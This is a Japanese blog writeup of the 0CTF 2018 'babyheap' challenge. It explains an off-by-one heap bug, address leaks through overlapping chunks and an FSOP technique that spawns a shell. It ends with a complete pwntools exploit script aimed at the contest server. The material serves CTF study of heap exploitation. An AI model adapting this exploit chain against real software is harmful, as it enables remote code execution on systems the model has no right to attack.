h_nosonの日記

競プロ、CTFなど

0CTF 2018 babyheap writeup

ELF 64-bit、動的リンク、full RELROとSSPとNXとPIE有効。

$ file babyheap
babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=07335c82a28f73c1c4ac099f3381bfebff27e5e5, stripped
$ checksec babyheap
[*] '/program/ctf/0ctf/2018/babyheap/babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$ ./babyheap
    __ __ _____________   __   __    ___    ____
   / //_// ____/ ____/ | / /  / /   /   |  / __ )
  / ,<  / __/ / __/ /  |/ /  / /   / /| | / __  |
 / /| |/ /___/ /___/ /|  /  / /___/ ___ |/ /_/ /
/_/ |_/_____/_____/_/ |_/  /_____/_/  |_/_____/

===== Baby Heap in 2018 =====
1. Allocate
2. Update
3. Delete
4. View
5. Exit
Command:
  1. Allocate: callocで領域を確保する(したがって確保した領域は0埋めされる)。上限は0x58bytes。
  2. Update: 1. で確保した領域にバイト列を書き込む。off-by-one errorがある。
  3. Delete: freeする。
  4. View: 確保したサイズだけバイト列を出力する。
  5. Exit: 終了。

off-by-one errorがあるため次のchunkのsizeを書き換えることができる。そこでまず初めに行うのがheapとlibcの領域のアドレスのリーク。

heap領域のアドレスのリーク

3つ領域を確保し(サイズは同じでなくてもいい)、1つ目の領域でのオーバーフローにより2つ目のサイズをその次のchunkのサイズと合わせたものに変える。2つ目を一度freeし、再び確保(この場合0x58bytes分)すると2つ目と3つ目で読み書きできる領域を被らせることができる。この状態で3つ目の領域をfreeすると他のchunkへのポインタが領域内に書き込まれるためheapのアドレスをリークすることができる。

f:id:h_noson:20180402201751p:plain

libcベースアドレスのリーク

先ほどはfreeされたchunkがfastbinsに入れられたためheapのアドレスが書き込まれたが、ここではunsorted binsに追加させ、libcのアドレスをリークする。やり方は上の方法とほとんど同じで、chunkをオーバーラップさせた後に3つ目のchunkのサイズを0x80よりも大きいサイズに書き換えてからfreeする。するとそのchunkがunsorted binsに追加されるため、binsへのポインタが領域内に書き込まれ、libcのアドレスをリークすることができる。

f:id:h_noson:20180402201546p:plain

exploit

確保できるサイズの上限が0x58であるためmalloc_hookやvtable書き換えによるone gadget RCEは難しい。そこでFile Stream Oriented Programmingを使う。これは簡単に言うとabort時にstdoutなどをflushするために使うリストの先頭IO_list_allを書き換え、偽造したvtableの関数を実行させるというものである。House of Orangeなどで調べると詳しい内容が出てくるのでそちらを参考に(投げやり)。ただ今回使われているlibcのバージョンが2.24であるため正しいIO_FILEであるかのチェックが行われている。これを突破するためにvtableにIO_str_jumpsを設定してチェックを抜け、IO_fileの値をうまくいじることによりsystem("/bin/sh")を実行できる。参考: http://veritas501.space/2017/12/13/IO%20FILE%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/

#!/usr/bin/env python

from pwn import *

def allocate(size):
    s.sendlineafter('Command: ', '1')
    s.sendlineafter('Size: ', str(size))

def update(index,size,content):
    s.sendlineafter('Command: ', '2')
    s.sendlineafter('Index: ', str(index))
    s.sendlineafter('Size: ', str(size))
    s.sendlineafter('Content: ', content)

def delete(index):
    s.sendlineafter('Command: ', '3')
    s.sendlineafter('Index: ', str(index))

def view(index):
    s.sendlineafter('Command: ', '4')
    s.sendlineafter('Index: ', str(index))
    s.recvuntil('Chunk[%d]: ' % index)
    return s.recvline(False)

if __name__ == '__main__':
    if len(sys.argv) == 1:
        s = process('./babyheap')
        unsorted_bin = 0x3c1b58
        _IO_str_jumps = 0x3be4c0
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    else:
        s = remote('202.120.7.204', 127)
        unsorted_bin = 0x399b58
        _IO_file_jumps = 0x396440
        _IO_str_jumps = _IO_file_jumps + 0xc0
        libc = ELF('./libc-2.24.so')

    allocate(0x18)
    allocate(0x18)
    allocate(0x38)
    allocate(0x28)
    allocate(0x28)
    allocate(0x38)
    allocate(0x18)
    allocate(0x38)
    delete(7)
    update(0,0x19,'A'*0x18 + '\x61')
    delete(1)
    allocate(0x58)
    update(1,0x19,'A'*0x18 + '\x41')
    delete(2)
    heap_base = u64(view(1)[0x20:0x28]) - 0x140
    log.info('heap base: %#x' % heap_base)
    allocate(0x38)
    update(1,0x19,'A'*0x18 + '\xe1')
    delete(2)
    libc_base = u64(view(1)[0x20:0x28]) - unsorted_bin
    log.info('libc base: %#x' % libc_base)

    '''
    _IO_FILE offset: 0x40
     + 0x0 = 0
     + 0x20 = 0
     + 0x28 = 0x7fffffffffffffff
     + 0x38 = 0
     + 0x40 = (binsh - 100) / 2
     + 0xa0 = heap_base
     + 0xd8 = _IO_str_jumps
     + 0xe0 = system
    '''

    update(0,0x18,p64(0) + p64(1) + '/bin/sh\0')
    update(1,0x58,'A' * 0x10 + p64(0) + p64(0x61) + 'A' * 8 + p64(libc_base + libc.symbols['_IO_list_all'] - 0x10) + p64(0) + p64(0x7fffffffffffffff) + 'A' * 8 + p64(0) + p64((heap_base + 0x20 - 100) // 2))
    update(4,0x28,'A' * 0x20 + p64(heap_base))
    update(5,0x38,'A' * 0x28 + p64(libc_base + _IO_str_jumps) + p64(libc_base + libc.symbols['system']))
    allocate(0x48)

    s.interactive()